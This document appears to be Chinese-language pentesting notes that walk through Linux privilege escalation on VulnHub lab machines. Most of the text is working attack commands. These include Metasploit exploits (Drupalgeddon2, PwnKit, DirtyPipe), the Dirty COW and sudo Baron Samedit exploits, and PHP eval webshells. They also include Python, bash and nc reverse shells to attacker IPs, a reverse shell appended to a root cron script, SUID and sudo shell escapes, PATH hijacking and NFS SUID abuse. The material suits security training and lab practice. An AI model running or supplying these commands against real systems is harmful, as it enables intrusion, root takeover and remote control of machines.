search drupaluse exploit/unix/webapp/drupal_drupalgeddon2set rhost 192.168.46.144set rport 1898run

upload /root/linux-exploit-suggester.sh /tmp/1.shshellcd /tmp lschmod +x 1.sh./1.shhttps://github.com/gbonacini/CVE-2016-5195upload /root/1.cpp /tmp/1.cppg++ -Wall -pedantic -O2 -std=c++11 -pthread -o 1 1.cpp -lutil尽量用的是受害者C++环境编写，如果没有就最好知道对方什么系统什么版本，用对应的版本去编写一个，容易搞定python -c 'import pty; pty.spawn("/bin/bash")'./dcowsu root

meterpreter > shellProcess27669 created.Channel6 created.cd /tmpls1.cpp1.sh2.shtmux-33g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 11.cpp -lutil                  ls11.cpp1.sh2.shtmux-33python -c 'import pty; pty.spawn("/bin/bash")'www-data@lampiao:/tmp$ ididuid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@lampiao:/tmp$ ./1./1Running ...Received su prompt (Password: )Root password is:   dirtyCowFunEnjoy! :-)www-data@lampiao:/tmp$ su root su root Password: dirtyCowFunroot@lampiao:/tmp# ididuid=0(root) gid=0(root) groups=0(root)

复现环境：https://www.vulnhub.com/entry/darkhole-1,724/1、信息收集：nmap -p1-65535 192.168.139.0/242、Web漏洞利用：重置管理密码-上传1.phtml-反弹MSFuse exploit/multi/handlerset payload php/meterpreter/reverse_tcpset lhost 0.0.0.0set lport 6666run3、内核提权upload /root/linux-exploit-suggester.sh /tmp/1.shshellcd /tmpchmod +x 1.sh./1.shsearch cve_2021_4034use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecset session xrungetuidshellcd /rootcat root.txt

upload /root/linux-exploit-suggester.sh /tmp/1.shshellcd /tmpchmod +x 1.sh./1.sh利用漏洞search cve_2021_4034use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecset session xrungetuidshellcd /rootcat root.txt

1、信息收集：nmap -p1-65535 192.168.139.0/242、Web漏洞利用扫描发现-抓包分析-文件写入-反弹MSFgobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txtmessage=<?php eval($_POST["pass"]);?>&file=xd.phpuse exploit/multi/handlerset payload php/meterpreter/reverse_tcpset lhost 0.0.0.0set lport 6666run3、内核提权upload /root/linux-exploit-suggester.sh /tmp/1.shshellcd /tmpchmod +x 1.sh./1.shsearch cve_2022_0847use exploit/linux/local/cve_2022_0847_dirtypipeset session xset lhost xx.xx.xx.xxrun

获取到Web权限或普通用户在Linux服务器上时进行的SUID&SUDO提权SUID (Set owner UserID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中，当一个程序运行的时候，程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的（程序/文件）所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候，将获取文件所有者的权限以及所有者的UID和GID。SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行，系统管理员集中的管理用户使用权限和使用主机，配置文件：/etc/sudoers，除此配置之外的问题，SUDO还有两个CVE漏洞（CVE-2019-14287CVE-2021-3156）。

环境：https://www.vulnhub.com/entry/dc-1,292/命令：SUID GUIDfind / -perm -u=s -type f 2>/dev/nullfind / -perm -g=s -type f 2>/dev/null项目：LinEnum PEASS-ng/usr/bin/find . -exec'whoami' ;2、SUID&SUDO环境：https://www.vulnhub.com/entry/toppo-1,245/搭建：创建任意虚拟机，然后将toppo.vmdx文件改名并替换原来的vmdx文件SUID：/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.141",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

find / -perm -u=s -type f 2>/dev/null

/usr/bin/find . -exec'/bin/sh' ;

/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.141",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

管理员：sudo find  就说明 find 就已经超管 执行结果就是 是root执行权限为了方便 这个时候 find加到配置文件 当再次使用find 默认就是 sudo find 配置在哪里？SUDO:sudo -lcat /etc/sudoers/usr/bin/awk 'BEGIN {system("/bin/sh")}'

cat /etc/sudoers

/usr/bin/awk 'BEGIN {system("/bin/sh")}'

2、SUDO-CVE环境：https://www.vulnhub.com/entry/devguru-1,620/-信息收集：80，8585http://192.168.139.150/.git/http://192.168.139.150/adminer.phphttp://192.168.139.150/backend/backend/authhttp://192.168.139.150:8585/http://192.168.139.150:8585/admin-git泄漏(利用点)python GitHack.py http://192.168.139.150/.git/-访问管理（Web入口）：adminer.php 添加用户名密码 登录后台 模版 写入ShellfunctiononStart(){//蚁剑连接eval($_POST["pass"]);}-找备份寻突破（升权）：/var/backup/app.ini.bak 修改用户密码 登录后台 写入反弹bash -c "exec bash -i >& /dev/tcp/192.168.139.141/5555 0>&1"-利用sudo提权（cve）：sudo -lsudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'git源码泄露 => 找到数据库密码，登入 => 找到cms后台用户密码，改为已知密码 => 登入cms后台，写shell（低权限）gitea数据库配置备份文件泄露 => 连接gitea数据库，找到gitea的用户密码 => 登入gitea，写shell（更高权限） => 提权。

8585端口http://192.168.1.9:8585/admin --> /user/login80端口http://192.168.1.9/.git/http://192.168.1.9/adminer.phphttp://192.168.1.9/backend/backend/auth

sudo -lsudo sqlite3 /dev/null'.shell /bin/sh'

环境：kali2020sudo: 1.8.2 - 1.8.31p2sudo: 1.9.0 - 1.9.5p1-判断：sudoedit -s / 报错存在-利用：git clone https://github.com/blasty/CVE-2021-3156.gitcd CVE-2021-3156makechmod a+x sudo-hax-me-a-sandwich./sudo-hax-me-a-sandwich 0

cat /etc/crontab   查看计时任务 cat /etc/script/CleaningScript.sh #查看脚本内容ls -lia /etc/script/CleaningScript.sh #查看对任务文件的权限echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1">>/etc/script/CleaningScript.sh  将反弹shell给到 计时任务中，因为这个计时任务是管理员写的，所以被触发，反弹过来的shell也是管理员权限

smbclient -L 192.168.139.153

smbclient //192.168.139.153/anonymouslsget attention.txt尝试过后 helios  qwertysmbclient //192.168.139.153/helios -U helios

nuclei.exe -u http://192.168.1.8/h3l105/ 漏洞扫描

telnet 192.168.1.825MAIL FROM: MALABISRCPT TO: heliosdata<?phpsystem($_GET['shell']); ?>.QUIThttp://192.168.1.8/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=nc -e /bin/sh 192.168.1.5 5566  （用我这个可以）python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c 'import pty;pty.spawn("/bin/bash")'  开启一个终端 更方便把，后续我有试了一下 开不开都可以 find / -perm -u=s -type f 2>/dev/null  这个利用 suid 这个漏洞strings /opt/statuscheck    查看这个二进制文件  发现里面有 curl （我们可以尝试修改 curl PATH路径 ）如果我修改了 curl 的PATH路径 那么执行这个二进制文件，这个文件触发curl命令 是不是就执行 我设置好PATHcd /tmp          来到 tmp目录echo"/bin/sh" > curl       赋予curl文件 开启终端 功能chmod 777 curl                  赋予 curl文件 777 最高权限export PATH=/tmp:$PATH           将curl的环境变量修改为我想设定的环境变量路径echo$PATH                              查看环境变量 是否设置成功/opt/statuscheck

showmount -e 192.168.1.6mkdir nfsmount -t nfs 192.168.1.6:/mnt/nfs ./nfs用哥斯拉 生成一个 sehll.php 文件chmod 777 shell.php    放上去 的话 这个权限是继承关系 后续用到的 suid 也是这个道理  这样才能getshell链接上去http://192.168.1.6/file.php?file=/mnt/nfs/shell.php  用 格拉斯 去访问这个php文件  拿到 webshell权限

cd /root/nfscp /usr/bin/find xiaobao chmod 777 xiaobao chmod +s xiaobao   给xiaobao SUID 权限 然后再哥斯拉 命令终端中查找 找到  xiaobao 这个 SUID  因为 你上传过来的find 就是你用你主机root用户上传的 所以继承到 NFS中再用 find 提权就行  

#include<stdlib.h>#include<unistd.h>int main(){setuid(0);system("id");system("/bin/bash");}

gcc getroot.c -o getroot将c文件编译cp getroot /root/nfs #复制bash到挂载目录下chmod +s getroot #赋予suid权限find / -perm -u=s -type f 2>/dev/null 再看看是否加入cd /mnt/nfs # 目标机./getroot # 目标机